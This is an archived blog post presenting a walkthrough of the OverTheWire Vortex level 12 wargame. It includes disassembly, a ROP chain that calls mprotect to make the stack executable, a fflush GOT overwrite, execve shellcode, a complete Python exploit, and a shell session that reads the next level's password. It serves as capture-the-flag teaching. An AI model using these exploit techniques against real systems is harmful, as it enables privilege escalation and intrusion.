💾 Archived View for 0x80.org › gemlog › 2014-08-02-vortex-12.gmi captured on 2022-04-28 at 17:41:10. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

Vortex 12

Continuing the previous post about solving vortex 0-11[1]. I just had some time to solve this one too.

1: solving overthewrite

level12

Exploit this level knowing that the stack is not executable. You must login to vortex.labs.overthewire.org to complete this level..

So we get the binary and we find.

.text:08048620 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048620         public main
.text:08048620 main    proc near                       ; DATA XREF: _start+17o
.text:08048620
.text:08048620 argc    = dword ptr  8
.text:08048620 argv    = dword ptr  0Ch
.text:08048620 envp    = dword ptr  10h
.text:08048620
.text:08048620         push    ebp
.text:08048621         mov     ebp, esp
.text:08048623         push    esi
.text:08048624         push    ebx
.text:08048625         and     esp, 0FFFFFFF0h
.text:08048628         sub     esp, 20h
.text:0804862B         mov     dword ptr [esp+0Ch], 0  ; arg
.text:08048633         mov     dword ptr [esp+8], offset safecode ; start_routine
.text:0804863B         mov     dword ptr [esp+4], 0    ; attr
.text:08048643         lea     eax, [esp+1Ch]
.text:08048647         mov     [esp], eax              ; newthread
.text:0804864A         call    _pthread_create
.text:0804864F         call    _getgid
.text:08048654         mov     esi, eax
.text:08048656         call    _getgid
.text:0804865B         mov     ebx, eax
.text:0804865D         call    _getgid
.text:08048662         mov     [esp+0Ch], esi
.text:08048666         mov     [esp+8], ebx
.text:0804866A         mov     [esp+4], eax
.text:0804866E         mov     dword ptr [esp], 0AAh   ; sysno
.text:08048675         call    _syscall
.text:0804867A         call    _getuid
.text:0804867F         mov     esi, eax
.text:08048681         call    _getuid
.text:08048686         mov     ebx, eax
.text:08048688         call    _getuid
.text:0804868D         mov     [esp+0Ch], esi
.text:08048691         mov     [esp+8], ebx
.text:08048695         mov     [esp+4], eax
.text:08048699         mov     dword ptr [esp], 0A4h   ; sysno
.text:080486A0         call    _syscall
.text:080486A5         mov     eax, [ebp+argv]
.text:080486A8         add     eax, 4
.text:080486AB         mov     eax, [eax]
.text:080486AD         mov     [esp], eax              ; src
.text:080486B0         call    unsafecode
.text:080486B5         mov     eax, 0
.text:080486BA         lea     esp, [ebp-8]
.text:080486BD         pop     ebx
.text:080486BE         pop     esi
.text:080486BF         pop     ebp
.text:080486C0         retn
.text:080486C0 main    endp

This creates a thread running safecode(), then setresgid, setresuid, and runs the unsafecode(). Safecode loops for ever, prints, flush stdout, sleeps, and runs in a level13 priv. Unsafecode is a bufferover flow function, and runs in level12. So we want level13 thus we target the second thread, but we have a problem here. That stack is not executable which will complicate things. So we search for a ROP. We target libc.so.6 in vortex box. Since I don't have access to procfs it will be a little different to find libc. We dbg vortex12 break at __libc_start_main then libc base is the address in debugger minus the offset we find objdump ... | grep libc_start_main... Anyway we dump a list of rop gadgets and start searching and we find a bunch of useful ones. First what I'm trying to do using ROP is the following :

Let's talk a little bit more about how this is going to happen. So we need to set up sys_mprotect by using ebx,ecx,edx registers. So we need to find gadgets that can for example pop ebx, pop edx. I couldn't find something that pops ecx, or xchg ecx,r32 so I had to do some magic to set it to 4096. ebx points to the controlled_stack&~(4096-1) but that will let it contain zeros, so we need to do controlled_stack&~(4096) and then find a gadget that dec ebx to set it to correct value otherwise mprotect will fail with -EINVAL. For edx I found a gadget that zeros it then inc it until it becomes 0x07 which is PROT_{READ|WRITE|EXEC}. Finally we use a gadget that does int 0x80 then we have our executable stack. After that we jump to the executable stack execution (still in thread_1) a code that sets fflush@got to a place in this new executable stack so thread 2 goes there. Then after overwriting fflush@got we loop thread 1 forever ^^/ just to be nice. At this point thread 2 will jump there and execute our shellcode and everyone is happy.

Here's the code that sets fflush@got

SECTION .text
global main
main:
        mov eax, 0x0804a004
        mov ebx, 0xffffd330
        mov [eax], ebx
loop_for_ever:
        jmp loop_for_ever

and the exploit

#!/usr/bin/env python2
import sys
from struct import pack

def zero_eax():
        return pack('<I', 0xf7e42e30) # xor eax, eax ; ret
def set_eax_inc(val):
        p = ""
        for i in range(0,val): p += pack('<I', 0xf7e182ac) # inc eax ; ret
        return p

stack = 0xffffd8f5 & ~(4096-1) # 0xffffd000 <- shit we can use
set_fflush = "\xb8\x04\xa0\x04\x08\xbb\x30\xd3\xff\xff\x89\x18\xeb\xfe"
sh = "\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload = "\x90"*(900-len(sh))+sh
libc_base = 0xf7e10000

p = payload+"\x90"*(1036-len(set_fflush)-len(payload))+set_fflush
p += pack('<I', libc_base+0x000192ee) # pop ebx; ret
p += pack('<I', stack+1) #ebx
p += pack('<I', libc_base+0x00172f2e) # dec ebx
p += pack('<I', libc_base+0x0002d619) # ...
for i in range(0, 186): p += pack('<I', libc_base+0x0016daf8) # inc ecx
p += pack('<I', libc_base+0x00083c95) #: xor edx, edx; mov eax, edx; ret)
p += pack('<I', libc_base+0x00134287) # inc edx; ret
p += pack('<I', libc_base+0x00134287) # inc edx; ret
p += pack('<I', libc_base+0x00134287) # inc edx; ret
p += pack('<I', libc_base+0x00134287) # inc edx; ret
p += pack('<I', libc_base+0x00134287) # inc edx; ret
p += pack('<I', libc_base+0x00134287) # inc edx; ret
p += pack('<I', libc_base+0x00134287) # inc edx; ret

p += zero_eax()
p += set_eax_inc(125)
p += pack('<I', libc_base+0x000ef951) # beter int
p += pack('<I', 0xffffd340)*10

print p

You can clean up the code a lil bit it contains some useless stuff from some expirements. Anyway...

vortex12@melinda:XXX$ ./v "$(python happy_clowns.py)"
0
$ id
uid=5012(vortex12) gid=5012(vortex12) euid=5013(vortex13) groups=5013(vortex13),5012(vortex12)
$ cat /etc/vortex_pass/vortex13
jMyg12=nB